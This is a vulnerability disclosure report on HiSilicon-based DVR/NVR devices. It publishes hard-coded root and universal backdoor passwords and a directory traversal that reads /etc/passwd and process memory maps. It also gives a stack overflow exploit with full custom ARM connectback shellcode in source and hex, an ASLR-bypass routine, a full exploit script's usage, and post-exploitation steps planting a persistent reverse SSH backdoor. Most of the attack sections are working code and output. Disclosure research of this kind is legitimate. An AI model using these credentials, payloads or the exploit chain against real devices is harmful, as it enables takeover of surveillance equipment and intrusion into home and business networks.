HiSilicon DVR hack

Istvan Toth

Version 1.0, 2017-09-06

Contents

This report discloses serious vulnerabilities (with proof of concept (PoC) *code) of DVR/NVR devices built using the HiSilicon hi3520d and similar system on a chip (SoC). Exploiting the vulnerabilities lead to unauthorized remote code execution (RCE) using only the web interface, causing full takeover of the exploited device. Due to lack of upgraded firmwares, using these devices is not recommended. Contacted the vendor before Dec 2016, but still no response. The release date of the disclosure is Feb 2017.*

preface

Couple of years ago I have bought a cheap Chinese DVR device on eBay. The boot logo of the device says: "SECULINK - Security Monitoring". As an IT security enthusiast, I decided to have a closer look of the device to see how "secure" that security monitoring service is. Googling about the topic I have found some interesting materials, but digged deeper, and found much more interesting and much more serious issues (0-days) about the device.

Let us have a look at the full hacking session from the beginning. (The new, own achievements will be noted as the old, known ones as well.)

exploring the DVR

First we should learn the official user interface, then dig deeper, maybe try to obtain the firmware. The chances to find vulnerabilities increase with the firmware.

the DVR at a first glance

The DVR device intented for testing is branded as "Seculink".

Available physical interfaces:

- 2x USB ports (officially for mouse to control the GUI console),
- HDMI port (and VGA) for attaching external monitor (for GUI & camera views),
- 4x BNC connectors for analogoue CCTV cameras,
- SATA port inside for attaching storage for recording the video stream,
- Ethernet port for network access.

Official user interfaces:

- direct access using the HDMI (or VGA) as output and USB mouse / keyboard for input for camera view / control / full setup,
- network access through HTTP for camera view / control.

The directly accessible setup interface is restricted by user authentication (username, password). Default superuser is 'admin', default password is blank.

After setting up a strong password, the user may feel safe that his/her camera view is not accessible by others. People often forward the web port (tcp/80) of the DVR device to the WAN side from their secure LAN in order to access the DVR streams from outside (we may check this e.g. by a suitable Shodan search ;)).

obtaining the firmware

There may be lot of ways for getting the firmware:

- get it from the device by some soft method (using the official interface, or exploiting some vulnerability),
- get it from the device by some hard method (JTAG, serial console, etc.),
- find and download it from the internet (if it is available).

Although the latter (download) method is working here and it is the easiest, let us try the first one, because it gives other information about the device, too.

service scanning

Let us do a full port scan on the DVR. Note, that the (default if run by root) SYN scan is very slow because dropped packets, but the full TCP connect scan finishes in a couple of minutes.

```
# Nmap 7.40 scan initiated Sun Sep  3 01:57:47 2017 as: nmap -v -sV -sT -p- -oA
nmap_full 192.168.88.127
Nmap scan report for dvr.lan (192.168.88.127)
Host is up (0.028s latency).
Not shown: 65529 closed ports
PORT      STATE SERVICE       VERSION
23/tcp    open  telnet        BusyBox telnetd
80/tcp    open  http          uc-httpd 1.0.0
554/tcp   open  rtsp          LuxVision or Vacron DVR rtspd
9527/tcp  open  unknown
34567/tcp open  dhanalakshmi?
34599/tcp open  unknown
MAC Address: 00:12:12:15:B3:E7 (Plus )
Service Info: Host: LocalHost; Device: webcam
# Nmap done at Sun Sep  3 02:00:42 2017 -- 1 IP address (1 host up) scanned in 174.79
seconds
```

Summarizing and manual testing:

- 23/tcp is a telnet login interface protected by some username + password (not the application credentials)
- 80/tcp is the web interface protected by the application credentials
- 554/tcp is an rtsp service; it can be opened by a common rtsp url:

  ```
  rtsp://192.168.88.127:554/user=admin&password=&channel=1&stream=0.sdp
  ```

  Note, that opening the rtsp stream requires credentials as well.

- 9527/tcp seems to be a (secret?) service port with some very interesting features,

- 34567/tcp and 34599/tcp seem to be some data ports related to the DVR application.

Here we should state that the device is probably some Linux-like system.

Connecting to 9527/tcp (by raw netcat) shows the application console with logging messages and a login prompt. Logging in with any of the defined application credentials is working. Issuing `help` after the prompt gives a short description of the console commands. The command `shell` seems to be the most interesting. Yes, it gives a root shell to the devices. ;)

Note, that this is obviously a serious security issue, because any (low privileged) application user should not get a root shell on the device automatically.

root shell

Exploring the device in the root shell (e.g. by `dmesg`) makes it obvious that the DVR is running a Linux kernel (version 3.0.8), it has an ARMv7 CPU, the SoC model is `hi3520d`.

From the list of running processes (`ps`) it is clear that the DVR application is `/var/Sofia`, which is listening on 34568/udp and 34569/udp as well besides the above tcp ports detected by nmap (`netstat -nlup`).

From the list of mounted disks (`mount` command), it is clear that the firmware image is in the `/dev/mtdblockX` devices (where X=0,1,2,3,4,5).

The firmware is small and therefore restricted, so we should be creative if we want to copy files to/from the device. Fortunately NFS is supported, so setting up an NFS server on our desktop machine and mounting it from the DVR solves the problem:

```
mount -t nfs 192.168.88.100:/nfs /home -o nolock
```

Now obtaining the firmware is straightforward:

```
cat /dev/mtdblock1 > /home/mtdblock1-root.img
cat /dev/mtdblock2 > /home/mtdblock2-usr.img
cat /dev/mtdblock3 > /home/mtdblock3-custom.img
cat /dev/mtdblock4 > /home/mtdblock4-logo.img
cat /dev/mtdblock5 > /home/mtdblock5-mtd.img
```

We may get the files (not just the raw images):

```
cp /var/Sofia /home/
tar -cf /home/fs.tar /bin /boot /etc /lib /linuxrc /mnt /opt /root /sbin /share /slv
/usr /var
```

telnet interface

For accessing the device through the telnet interface (port 23/tcp), we may need some OS credentials. Looking at `/etc/passwd` we have the password hash for the root user:

```
root:absxcfbgXtb3o:0:0:root:/:/bin/sh
```

Note, that there is no other user than root, everything is running with full privileges. (So if someone breaks into the device somehow, there is no barrier, the attacker gains full power immediately.)

Assuming a six-char alphanum (lowercase) password, hashcat cracks the above weak DES hash quickly:

```
$ ./hashcat64.bin -a3 -m1500 absxcfbgXtb3o -1 ?l?d ?1?1?1?1?1?1

absxcfbgXtb3o:xc3511

Session..........: hashcat
Status...........: Cracked
Hash.Type........: descrypt, DES (Unix), Traditional DES
Hash.Target......: absxcfbgXtb3o
Time.Started.....: Sun Sep  3 03:25:07 2017 (2 mins, 29 secs)
Time.Estimated...: Sun Sep  3 03:27:36 2017 (0 secs)
Guess.Mask.......: ?1?1?1?1?1?1 [6]
Guess.Charset....: -1 ?l?d, -2 Undefined, -3 Undefined, -4 Undefined
Guess.Queue......: 1/1 (100.00%)
Speed.Dev.#1.....:   815.9 kH/s (203.13ms)
Recovered........: 1/1 (100.00%) Digests, 1/1 (100.00%) Salts
Progress.........: 121360384/2176782336 (5.58%)
Rejected.........: 0/121360384 (0.00%)
Restore.Point....: 93440/1679616 (5.56%)
Candidates.#1....: sa8711 -> h86ani
HWMon.Dev.#1.....: N/A

Started: Sun Sep  3 03:25:04 2017
Stopped: Sun Sep  3 03:27:38 2017
```

So with user `root` and password `xc3511` logging in throught the telnet interface on port 23/tcp is possible. This hard-coded root account accessible on the unclosable telnet interface is obviously a backdoor.

These results were almost available by others before our research, but the following is completely new.

firmware reversing

Exploring the firmware it turns out that the binary `/var/Sofia` is the main application which implements every interface besides video processing and others. So this binary seems to be the most interesting for us.

Unfortunately it is (statically linked and) stripped which makes static analysis harder:

```
$ file Sofia
Sofia: ELF 32-bit LSB executable, ARM, EABI5 version 1 (SYSV), statically linked,
stripped, with debug_info
```

So besides static analyis (with radare2 or IDA) dynamic analysis should be very helpful.

remote gdb

For dynamic analysis, attaching GNU Project debugger (GDB) to the remote `/var/Sofia` application should be advantageous. The recommended method is to run (and attach) `gdbserver` on the remote device, and connect `gdb` to it from the local machine.

Of course we need a `gdbserver` compiled (preferably statically) for the appropriate ARM architecture. In order to build it, we may use µClibc which is the recommended C library for embedded systems (like our DVR). Available builds are dynamic builds which are problematic on our DVR, so we should make custom static builds ourselves. There is a nice build environment called Buildroot which makes building work out-of-the-box (select the required apps (e.g. gdb) with `make menuconfig`, do not forget to choose static libraries, then run `make`).

After a short build time (~10-15 mins) all the necessary tools should be available. The static binaries can be transferred to the device by the previously mentioned NFS method. Note, that the directory `/var` containing the Sofia binary is a ramfs, so it is not persistent across reboots. If we want to transfer the binaries (almost) permanently, the rw partition `/mnt/mtd` containing the configuration files should be a suitable target. If you build the package `openssh` too, `scp` will be available which makes transferring files more easier.

Now the firmware is ready for some reversing. Attaching `gdbserver` remotely is working now (getting the PID of the Sofia process is easy by `ps`):

```
$ /mnt/mtd/gdbserver --attach :2000 610
```

Connecting from the local machine:

```
$ gdb -ex 'set gnutarget elf32-littlearm' -ex 'target remote 192.168.88.127:2000'
```

Note, that using some GDB extension (like GEF) is recommended. If pausing the application does not work (with C-c) for some reason, sending a TRAP signal to the Sofia process (by `kill -TRAP 610`) should pause it.

inspect the authentication procedure

The recommended tool for static analysis is obviously Hex-Ray's IDA Pro. Unfortunately it is not cheap, but much better than any other tools.

There are 15.000+ functions after initial auto analysis, but finding the auth function is just a moment with IDA (using simple Python scripting). The IDAPython snippet below searches for all functions that references to anything related to "Users" *and* "Password" (at the same time):

```
x1, x2 = set(), set()
for loc, name in Names():
  if "Users" in name:
    for addr in XrefsTo(loc):
      x1.add(GetFunctionName(addr.frm))
  elif "Password" in name:
    for addr in XrefsTo(loc):
      x2.add(GetFunctionName(addr.frm))
print x1 & x2
```

The result is only one function: `sub_2D857C`. Quick analysis of this function confirms that this should be the authentication function.

There is an initial check on the cleartext password against a hardcoded string (before getting the password hash of the user from the config). If it passes, authentication is granted. This is an ugly backdoor in the application. The universal password is: `I0TO5Wv9`.

With this password we can access anything in the application as any user (e.g. admin). For example, getting the video stream:

```
$ cvlc 'rtsp://192.168.88.127:554/user=admin&password=I0TO5Wv9&channel=1&stream=0.sdp'
```

Or getting a root shell on the application console (9527/tcp) is also working:

```
$ nc 192.168.88.127 9527
nc: using stream socket

username:admin
password:I0TO5Wv9
login(admin, ******, Console, address:)
admin$
```

One more interesting result in the authentication algorithm: in some circumstances the auth function accepts not just the password but the hash also. Opening the rtsp video stream is possible by not just the password but the hash (which is stored in /mnt/mtd/Config/Account1). For example, `tlJwpbo6` is the hash of the empty password (see next section too), so

```
cvlc 'rtsp://192.168.88.127:554/user=admin&password=&channel=1&stream=0.sdp'
cvlc 'rtsp://192.168.88.127:554/user=admin&password=tlJwpbo6&channel=1&stream=0.sdp'
```

also works.

password hash function

Another result of the auth function (deeper) static analysis: the password hash function is `sub_3DD5E4`. It is basically MD5 with some strange transformations. Reversed and implemented it in Python:

```
import hashlib

def sofia_hash(msg):
    h = ""
    m = hashlib.md5()
    m.update(msg)
    msg_md5 = m.digest()
    for i in range(8):
        n = (ord(msg_md5[2*i]) + ord(msg_md5[2*i+1])) % 0x3e
        if n > 9:
            if n > 35:
                n += 61
            else:
                n += 55
        else:
            n += 0x30
        h += chr(n)
    return h
```

With the implemented hash algorithm, brute forcing passwords or setting arbitrary passwords is possible.

buffer overflow in builtin webserver

The Sofia binary handles the HTTP requests on port 80/tcp. Let us try some fuzzing with the requests. Of course, attaching gdb (see above) should be helpful. Actually, we should kill the Sofia process and restart it with gdbserver to see the console output as well:

```
$ kill 610
$ /mnt/mtd/gdbserver :2000 /var/Sofia
```

And locally:

```
$ gdb -q -ex 'set gnutarget elf32-littlearm' -ex 'target remote 192.168.88.127:2000'
gef>  c
```

Now let us see the GET requests. No response:

```
$ echo 'GET /' | nc 192.168.88.127 80
```

Normal response (even without proper closing and/or newline at the end):

```
$ echo -ne 'GET / HTTP' | nc 192.168.88.127 80
```

Test for some overflow with a looong request:

```
$ python -c 'print "GET " + "a"*1000 + " HTTP"' |  nc 192.168.88.127 80
```

Nice. The response is a 200 with a "404 File Not Found" message, but we can see a wonderful crash in the gdb. ;)

Note, that there is a watchdog kernel module enabled for the Sofia application. If it is not running for a minute, the device reboots. This is good on the one hand if we experiment with a remote device, but it is bad on the other if we want to do some debugging smoothly.

The watchdog can not be turned off once it has been started, so the only way to get rid of it is to modify the read-only firmware by reflashing. It is not recommended unless we want to brick our test device. ;)

program flow control

Why is the crash wonderful (in an attacker's view)? The remote process Sofia got SIGSEGV (segmentation fault), the stack is filled up with our "a" characters, but the most important is: the $pc (program counter) register has our injected value `0x61616160` ("aaaa" - 1) in it (probably triggered by a ret but the cause is not important). This should be a classical stack overflow, and this means that we have the chance to control the program flow easily.

After some experimenting (by interval halving):

```
$ python -c 'print "GET " + "0123" + "a"*(299-4) + "wxyz" + " HTTP"' |  nc
192.168.88.127 80
```

This results SIGSEGV, too, and the $pc register is `0x7a797876` (~"wxyz"; reversed, because byte-ordering is little-endian; and -1 because alignment). Our payload starts (with "0123aaa...") at $sp+0x14 (stack base + 0x14).

remote code execution

Exploiting such an overflow most easily and effectively is by injecting some shellcode into the stack and redirect the program flow there. This way we get arbitrary remote code execution on the target. Because there is no privilege separation on the device OS, this means full control (root shell access).

However, there may be (modern) exploit mitigation techniques enabled which could make an attacker's life much harder.

The most basic way protecting against shellcodes on stack is the No-eXecute (NX) bit technology. This can prevent executing code on selected memory pages (usually pages with write permission like stack). Fortunately (from the view of the attacker ;)), there is no NX bit set (look at STACK flags, rwx):

```
$ objdump -b elf32-littlearm -p Sofia

Sofia:     file format elf32-littlearm

Program Header:
0x70000001 off    0x00523f34 vaddr 0x0052bf34 paddr 0x0052bf34 align 2**2
         filesz 0x000132a8 memsz 0x000132a8 flags r--
    LOAD off    0x00000000 vaddr 0x00008000 paddr 0x00008000 align 2**15
         filesz 0x005371dc memsz 0x005371dc flags r-x
    LOAD off    0x005371dc vaddr 0x005471dc paddr 0x005471dc align 2**15
         filesz 0x000089c8 memsz 0x000dad8c flags rw-
     TLS off    0x005371dc vaddr 0x005471dc paddr 0x005471dc align 2**2
         filesz 0x00000004 memsz 0x00000018 flags r--
   STACK off    0x00000000 vaddr 0x00000000 paddr 0x00000000 align 2**2
         filesz 0x00000000 memsz 0x00000000 flags rwx
private flags = 5000002: [Version5 EABI]<Unrecognised flag bits set>
```

or just use `checksec` in gdb gef. `checksec` in gdb gef also tells us that there is no other mitigations present such as stack canary (which is obvious, because we could not control $pc with stack overflow if there would be stack canary present).

The only thing we should know before getting the RCE work is the stack address. We should inject address $sp+0x14 in the appropriate position of our payload ("wxyz" above) in order to redirect program flow to the shellcode.

There is also a mitigation technique which could make this harder (or very hard, almost impossible in some cases): address space layout randomization (ASLR). ASLR randomizes the base addresses of the memory segments (e.g. the base address of the stack).

Out of luck, ASLR is enabled ("2" means full randomization, "0" is disabled):

```
$ cat /proc/sys/kernel/randomize_va_space
2
```

RCE without ASLR

Let us try to exploit the overflow first with ASLR turned off.

```
$ echo 0 > /proc/sys/kernel/randomize_va_space
```

Following the above procedure, we get that the stack address ($sp) is 0x5a26f3d8 at the time of the SIGSEGV crash (and it is the same in different runs with ASLR turned off).

So the payload should be:

```
python -c 'print "GET " + shellcode + "a"*(299-len(shellcode)) + "\xd8\xf3\x26\x5a" +
" HTTP"' | nc 192.168.88.127 80
```

where the shellcode should be something we want to execute, preferably a connectback shellcode. Note, that there are "badchars", which must be avoided: 0x00, 0x0d ('\n'), 0x20 (' '), 0x26 ('&'), 0x3f ('?'). Moreover, there is a 299 byte size limit. Shellcode generators can not deal with our badchar list, even using automated encoders can not solve the problem (because of the size limit).

So a custom shellcode should be generated. The shellcode here gives a connectback shell using socket, connect, dup2 and execve system calls (or supervisor calls according to the terminology of the ARM world). We have to be strict and creative in order to avoid badchars. Labels should not be used, those are just for easier readability.

```
.section    .text
.global     _start

@ ensure switching to thumb mode (arm mode instructions)
.code 32
_0:     add   r1, pc, #1
_4:     bx    r1

@ thumb mode instructions
_start:
.code 16

@ *0x52 -= 1 (port -= 0x100; make it possible to use port numbers <1024)
_8:     add  r1, pc, #68      @ r1 <- pc+68 = 0xc+68 = 0x50
_a:     ldrb r2, [r1, #2]     @ r2 <- *0x52
_c:     sub  r2, #1           @ r2 <- r2-1
_e:     strb r2, [r1, #2]     @ r2 -> *0x52

@ socket(2, 1, 0) = socket(AF_INET, SOCK_DGRAM, 0)
_10:    mov  r1, #2          @ r1 <- 2
_12:    add  r0, r1, #0      @ r0 <- r1 + 0 = 2
_14:    mov  r1, #1          @ r1 <- 1
_16:    sub  r2, r2, r2      @ r2 <- r2 - r2 = 0
_18:    lsl  r7, r1, #8      @ r7 <- r1<<8 = 1<<8 = 256
```

```
_1a:   add  r7, #25          @ r7 <- r7 + 25 = 281
_1c:   svc  1                @ r0 <- svc_281(r0, r1, r2) = socket(2, 1, 0)

@ connect(r0, 0x50, 16) = connect(&socket, &struct_addr, addr_len)
_1e:   add  r6, r0, #0        @ r6 <- r0 + 0 = &socket
_20:   add  r1, pc, #44       @ r1 <- pc+44 = 0x24+44 = 0x50
_22:   mov  r3, #2            @ r3 <- 2
_24:   strh r3, [r1, #0]      @ 2 -> *0x50
_26:   mov  r2, #16           @ r2 <- 16
_28:   add  r7, #2            @ r7 <- r7 + 2 = 283
_2a:   svc  1                 @ r0 <- svc_283(r0, r1, r2) = connect(&socket, 0x50, 16)

@ attach stdin/stdout/stderr to socket: dup2(r0, 0), dup2(r0, 1), dup2(r0, 2)
_2c:   mov  r7, #62        @ r7 <- 62
_2e:   add  r7, #1         @ r7 <- r7 + 1 = 63
_30:   mov  r1, #200       @ r1 <- 200

_32:   add  r0, r6, #0     @ r0 <- r6 + 0 = &socket
_34:   svc  1              @ r0 <- svc_63(r0, r1) = dup2(&socket, 0..200)
_36:   sub  r1, #1         @ r1 <- r1 - 1
_38:   bpl  _32            @ loop until r1>0 (dup2 every fd to the socket)

@ execve('/bin/sh', NULL, NULL)
_3a:   add  r0, pc, #28      @ r0 <- pc+28 = 0x3c+28 = 0x58
_3c:   sub  r2, r2, r2       @ r2 <- r2 - r2 = 0
_3e:   strb r2, [r0, #7]     @ 0 -> *(0x58+7), terminate '/bin/sh' with \x00
_40:   push {r0, r2}         @ *sp <- {r0, r1, r2} = {0x58, 0x0, 0x0}
_42:   mov  r1, sp           @ r1 <- sp
_44:   mov  r7, #11          @ r7 <- 11
_46:   svc  1                @ svc_11(r0, r1, r2) = execve('/bin/sh\x00', ['/bin/sh\
x00', 0], 0)

_48:   mov  r7, #1           @ r7 <- 1
_4a:   add  r0, r7, #0       @ r0 <- r7 + 0 = 1
_4c:   svc  1                @ svc_1(r0) = exit(1)

_4e:   nop

@ struct sockaddr (sa_family = 0x0002 (set by shellcode), sa_data = (port, ip) )
_50:   .short 0xffff
_52:   .short 0x697b             @ port 31377 (hex(31337+0x100) in little-endian)
_54:   .byte 192,168,88,100      @ inet addr: 192.168.88.100
_58:   .ascii "/bin/shX"         @ 'X' will be replaced with \x00 by the shellcode

.word 0xefbeadde        @ deadbeef ;)
```

Compiling the shellcode and getting the raw binary bytes (using any cross-tool for ARM should work, e.g. the ones built using buildroot in `buildroot-2017.02.5/output/host/usr/bin/` is good, too):

```
$ armv7a-hardfloat-linux-gnueabi-as shellcode.S -o shellcode.o
$ armv7a-hardfloat-linux-gnueabi-ld.bfd shellcode.o -o shellcode
$ armv7a-hardfloat-linux-gnueabi-objcopy -O binary --only-section=.text ./shellcode
./shellcode.bin
$ cat shellcode.bin | xxd -p
01108fe211ff2fe111a18a78013a8a700221081c0121921a0f02193701df
061c0ba102230b801022023701df3e270137c821301c01df0139fbd507a0
921ac27105b469460b2701df0127381c01dfc046ffff7b69c0a858642f62
696e2f736858deadbeef
```

Injecting this with the payload should make the exploit work, and it should give a connectback shell to the remote device.

Of course, first start a listener on `192.168.88.100`:

```
$ nc -nvlp 31337
```

Then start up the payload:

```
$ python -c 'shellcode =
"01108fe211ff2fe111a18a78013a8a700221081c0121921a0f02193701df061c0ba102230b80102202370
1df3e270137c821301c01df0139fbd507a0921ac27105b469460b2701df0127381c01dfc046ffff7b69c0a
858642f62696e2f736858deadbeef".decode("hex");  print "GET " + shellcode + "a"*(299-
len(shellcode)) + "\xec\xf3\x26\x5a" + " HTTP"' | nc 192.168.88.127 80
nc: using stream socket
HTTP/1.0 200 OK
Content-type: application/binary
Server: uc-httpd 1.0.0
Expires: 0

<html><head><title>404 File Not Found</title></head>
<body>The requested URL was not found on this server</body></html>
```

Exploit should work! :) In the local gdb:

```
process 1064 is executing new program: /bin/busybox
Reading /bin/busybox from remote target...
Reading /bin/busybox from remote target...
```

And the RCE is ready on the netcat listener:

```
nc: connect to 192.168.88.100 31337 from 192.168.88.127 55442
nc: using stream socket
```

Now executing arbitraty commands (as root!) on the remote system is possible.

But unfortunately the exploit is not ready for real world deployment, beacuse ASLR is turned on and thus we do not know the shellcode start address. Yet.

defeating ASLR

Defeating ASLR is not an easy job, but it can be done often with some creativity. Usually there are two ways to do it:

- finding some weakness in the randomizer and attack it by brute force or some partial leak / partial overwrite,
- leak the randomized memory addresses of the remote binary.

Now brute forcing seems to be useless (triggering a bad address causes crash and slow reboot), so only the leak seems to be convenient (if we find any).

After a long research it almost had to be given up, could not find any leak, but then an idea came up from a totally different direction.

There is a different vulnerability in the webserver, a classical directory traversal vulnerability. In fact, it also works for listing directories (this will be important also).

The directory traversal vulnerability means:

```
$ echo -ne 'GET ../../etc/passwd HTTP' | nc 192.168.88.127 80
nc: using stream socket
HTTP/1.0 200 OK
Content-type: text/plain
Server: uc-httpd 1.0.0
Expires: 0

root:absxcfbgXtb3o:0:0:root:/:/bin/sh
```

and we can get dir listing also:

```
$ echo -ne 'GET ../../etc HTTP' | nc 192.168.88.127 80nc: using stream socket
HTTP/1.0 200 OK
Content-type: application/binary
Server: uc-httpd 1.0.0
Expires: 0

<H1>Index of /mnt/web/../../etc</H1>

<p><a href="//mnt/web/../../etc/.">.</a></p>
<p><a href="//mnt/web/../../etc/..">..</a></p>
<p><a href="//mnt/web/../../etc/fs-version">fs-version</a></p>
<p><a href="//mnt/web/../../etc/fstab">fstab</a></p>
<p><a href="//mnt/web/../../etc/group">group</a></p>
<p><a href="//mnt/web/../../etc/init.d">init.d</a></p>
<p><a href="//mnt/web/../../etc/inittab">inittab</a></p>
<p><a href="//mnt/web/../../etc/mactab">mactab</a></p>
<p><a href="//mnt/web/../../etc/memstat.conf">memstat.conf</a></p>
<p><a href="//mnt/web/../../etc/mtab">mtab</a></p>
<p><a href="//mnt/web/../../etc/passwd">passwd</a></p>
<p><a href="//mnt/web/../../etc/passwd-">passwd-</a></p>
<p><a href="//mnt/web/../../etc/ppp">ppp</a></p>
<p><a href="//mnt/web/../../etc/profile">profile</a></p>
<p><a href="//mnt/web/../../etc/protocols">protocols</a></p>
<p><a href="//mnt/web/../../etc/resolv.conf">resolv.conf</a></p>
<p><a href="//mnt/web/../../etc/services">services</a></p>
<p><a href="//mnt/web/../../etc/udev">udev</a></p>
```

Note, that this vulnerability is serious, because the attacker can read any files, including recorded videos (if the device has some HDD storage).

Furthermore, the vulnerability can help us to defeat ASLR.

The `/proc` filesystem contains a lot of information about running processes in the `/proc/[pid]` directories. Listing `/proc` is possible using `GET ../../proc`, this way we can get all of the PIDs. If the `/proc/[pid]/cmdline` is `/var/Sofia`, the PID of the application is found.

The most important information for defeating ASLR is in `/proc/[pid]/smaps`. This file contains memory page statistics, contains page addresses and other interesting information (e.g. rss). For example:

```
$ echo -ne 'GET ../../proc/610/cmdline HTTP' | nc 192.168.88.127 80
nc: using stream socket
HTTP/1.0 200 OK
Content-type: text/plain
Server: uc-httpd 1.0.0
Expires: 0

/var/Sofia

$ echo -ne 'GET ../../proc/610/smaps HTTP' | nc 192.168.88.127 80
nc: using stream socket
HTTP/1.0 200 OK
Content-type: text/plain
Server: uc-httpd 1.0.0
Expires: 0

...

4b699000-4be98000 rwxp 00000000 00:00 0
Size:               8188 kB
Rss:                   4 kB
Pss:                   4 kB
Shared_Clean:          0 kB
Shared_Dirty:          0 kB
Private_Clean:         0 kB
Private_Dirty:         4 kB
Referenced:            4 kB
Anonymous:             4 kB
AnonHugePages:         0 kB
Swap:                  0 kB
KernelPageSize:        4 kB
MMUPageSize:           4 kB
Locked:                0 kB

...
```

This is only one page, the listing contains about ~150 pages.

Looking at the above structure (making attention to the page sizes, patterns, etc.), we can guess (by experiment and heuristics) which one contains the stack of the required thread. The offset of the stack from the base address is constant (it is 0x7fd3d8).

The snippet guessing the memory page:

```
def guessregion(smaps):
    for t in range(len(smaps)-7, 1, -1):
        if (smaps[t][1][0], smaps[t+1][1][0], smaps[t+2][1][0], smaps[t+3][1][0],
smaps[t+4][1][0], smaps[t+5][1][0], smaps[t+6][1][0]) == (8188, 8188, 8188, 8188,
8188, 8188, 8188) and
        smaps[t][1][1] == 4 and smaps[t+1][1][1] == 4 and smaps[t+2][1][1] == 4 and
smaps[t+3][1][1] >= 8 and smaps[t+4][1][1] >= 4 and smaps[t+5][1][1] >= 4 and
smaps[t+6][1][1] >= 8:
            return (t+3)
    return (-1)
```

where `smaps[t][1][0]` is the size of the `t`-th full page, `smaps[t][1][1]` is the related RSS.

The snippet is part of the full exploit script which is working automatically against various ASLR enabled HiSilicon targets. For a brief intro about the script:

```
$ ./pwn_hisilicon_dvr.py -h
usage: pwn_hisilicon_dvr.py [-h] --rhost RHOST [--rport RPORT] --lhost LHOST
                            [--lport LPORT] [--bhost BHOST] [--bport BPORT]
                            [-n] [-i] [-p] [-u] [--offset OFFSET]
                            [--cmdline CMDLINE]

exploit HiSilicon DVR devices

optional arguments:
  -h, --help          show this help message and exit
  --rhost RHOST       target host
  --rport RPORT       target port
  --lhost LHOST       connectback ip
  --lport LPORT       connectback port
  --bhost BHOST       listen ip to bind (default: connectback)
  --bport BPORT       listen port to bind (default: connectback)
  -n, --nolisten      do not start listener (you should care about connectback
                      listener on your own)
  -i, --interactive   select stack memory region interactively (rather than
                      using autodetection)
  -p, --persistent    make connectback shell persistent by restarting dvr app
                      automatically (DANGEROUS!)
  -u, --upload        upload tools (now hardcoded "./tools/dropbear" in script)
                      after pwn
  --offset OFFSET     exploit param stack offset to mem page base (default:
                      0x7fd3d8)
  --cmdline CMDLINE   cmdline of Sofia binary on remote target (default
                      "/var/Sofia")
```

post-exploitation

What can we do with this RCE? Everything. Remember, that this is an unauthorized RCE which only uses the web service port 80/tcp. This port is commonly forwarded to outside, so if an attacker exploits this RCE, he/she gets access to the internal LAN.

Our exploit script has some nice features, such as it can upload (previously compiled) tools to the victim device.

If we want to make a persistant, stable backdoor, we may upload a Dropbear, make it listen locally, and open a reverse SSH tunnel to outside. With this architecture, it will be possible to login to the DVR device from anywhere, anytime.

```
$ ./pwn_hisilicon_dvr.py --rhost 192.168.88.127 --lhost 192.168.88.100 -p -u
[*] target is 192.168.88.127:80
[*] connectback on 192.168.88.100:31337
[+] assembling shellcode: done. length is 104 bytes
[+] identifying model number: MBD6804T-EL
[*] exploiting dir path traversal of web service to get leak addresses
[+] getting pidlist: found 35 processes
[+] searching for PID of '/var/Sofia': 610
[+] getting stack section base: 0x5a47a000
[*] shellcode address is 0x5ac773ec
[*] exploiting buffer overflow in web service url path
[*] remote shell should gained by connectback shellcode!
[+] Trying to bind to 192.168.88.100 on port 31337: Done
[+] Waiting for connections on 192.168.88.100:31337: Got connection from
192.168.88.127 on port 44330
[+] Opening connection to 192.168.88.127 on port 80: Done
[+] Receiving all data: Done (204B)
[*] Closed connection to 192.168.88.127 port 80
[+] restarting dvr application: Done
[+] uploading tools to /var/.tools: dropbear
[*] Switching to interactive mode
$ cd /var/.tools
$ ln -s dropbear ssh
$ ln -s dropbear dropbearkey
$ ./dropbearkey -t ecdsa -f dropbear_ecdsa.key -s 256
Generating key, this may take a while...
Public key portion is:
ecdsa-sha2-nistp256
AAAAE2VjZHNhLXNoYTItbmlzdHAyNTYAAAAIbmlzdHAyNTYAAABBBDMcXlCTZfC3ZskLdbjfUSkDvcZCrKd/t8
a3ftsfL2EkHlQ/faElTfzACkM8ETw1Z1CH0iLXMznxqzZ4PvvJOk0= root@LocalHost
Fingerprint: md5 55:5e:4c:df:9c:89:4c:cd:2c:47:85:52:ff:5b:b7:48
$ ./dropbear -r ./dropbear_ecdsa.key -p 127.0.0.1:22
$ ln -s dropbear dropbearconvert
$ cat <<EOF > id_rsa
-----BEGIN RSA PRIVATE KEY-----
...
...
...
-----END RSA PRIVATE KEY-----
$ ./dropbearconvert openssh dropbear id_rsa id_rsa.dropbear
$ ./ssh -i ./id_rsa.dropbear -N -f -T -R 2322:localhost:22 dropbear@192.168.88.100
```

Now the device is accessible through the reverse tunnel using SSH:

```
$ ssh -p2322 root@localhost
root@localhost's password:


BusyBox v1.16.1 (2013-07-18 14:40:04 CST) built-in shell (ash)
Enter 'help' for a list of built-in commands.

Welcome to Monitor Tech.
[root@LocalHost /]$
```

summary

Here are the documented vulnerabilities:

vulnerability	risk	service	discovered	impact
hard-coded (backdoor) telnet password	high	23/tcp	formerly by others	everyone who has access to the telnet interface can take full control of the device, even though the user sets suitable passwords
root shell access with any application account	high	9527/tcp	by the author	everyone who has any kind of application account and has access to the service console, can elevate privileges up to full (shell) control of the device
backdoor application password	critical	80/tcp, 554/tcp	by the author	anyone can access the device as the application admin, even though the user has set up strong passwords in order to protect the device
buffer overflow in the builtin webserver	critical	80/tcp	by the author	exploiting the buffer overflow the attacker can gain root remote code execution on the device (no auth required), install backdoors, malwares, other malicious stuff
directory traversal	high	80/tcp	formerly by others(?) and by the author	unauthorized read access to everything (e.g. recorded streams) on the device, also helps exploiting the buffer overflow

If someone thinks that only this "Seculink" branded device is affected by these serious vulnerabilities, it is wrong. The range of the affected devices is very large. Every device is vulnerable built with these kind of HiSilicon SoC hardware. These devices share (almost) the same firmware with this binary application called "Sofia". The above vulnerability (even the full-featured script) works almost reliably without modification on a lot of different hardwares.

Here is a (not complete) list of brands affected:

http://www.vacron.com/products_CCTV_dvr.html
http://www.gess-inc.com/gess/dvrs/
http://www.jufenginfo.com/en/product-list.php?cid=10&pid=166&parid=175
http://egpis.co.kr/egpis/product.php?category=AHD&category2=AHD_D
http://optimus-cctv.ru/catalog/ahd-videoregistratory
http://www.clearcftv.com.br/linha.php?l=5&ln=ahd
http://click-cam.com/html2/products.php?t=2
http://www.ccd.dn.ua/ahd-videoregistratory.html
http://www.dhssicurezza.com/tvcc-ahd/dvr-ahd-720p/
http://www.gigasecurity.com.br/subcategoria-gravadores-de-video-dvr
http://www.luxvision.com.br/category/dvr-ahd/
http://www.yesccd.com/?products/DigitalVideoRecorder.html
http://www.tvzsecurity.com.br/produtos/31/Stand-Alone
http://showtec.com.br/dv-stand-alone/
http://www.ecotroniccftv.com.br/index.php
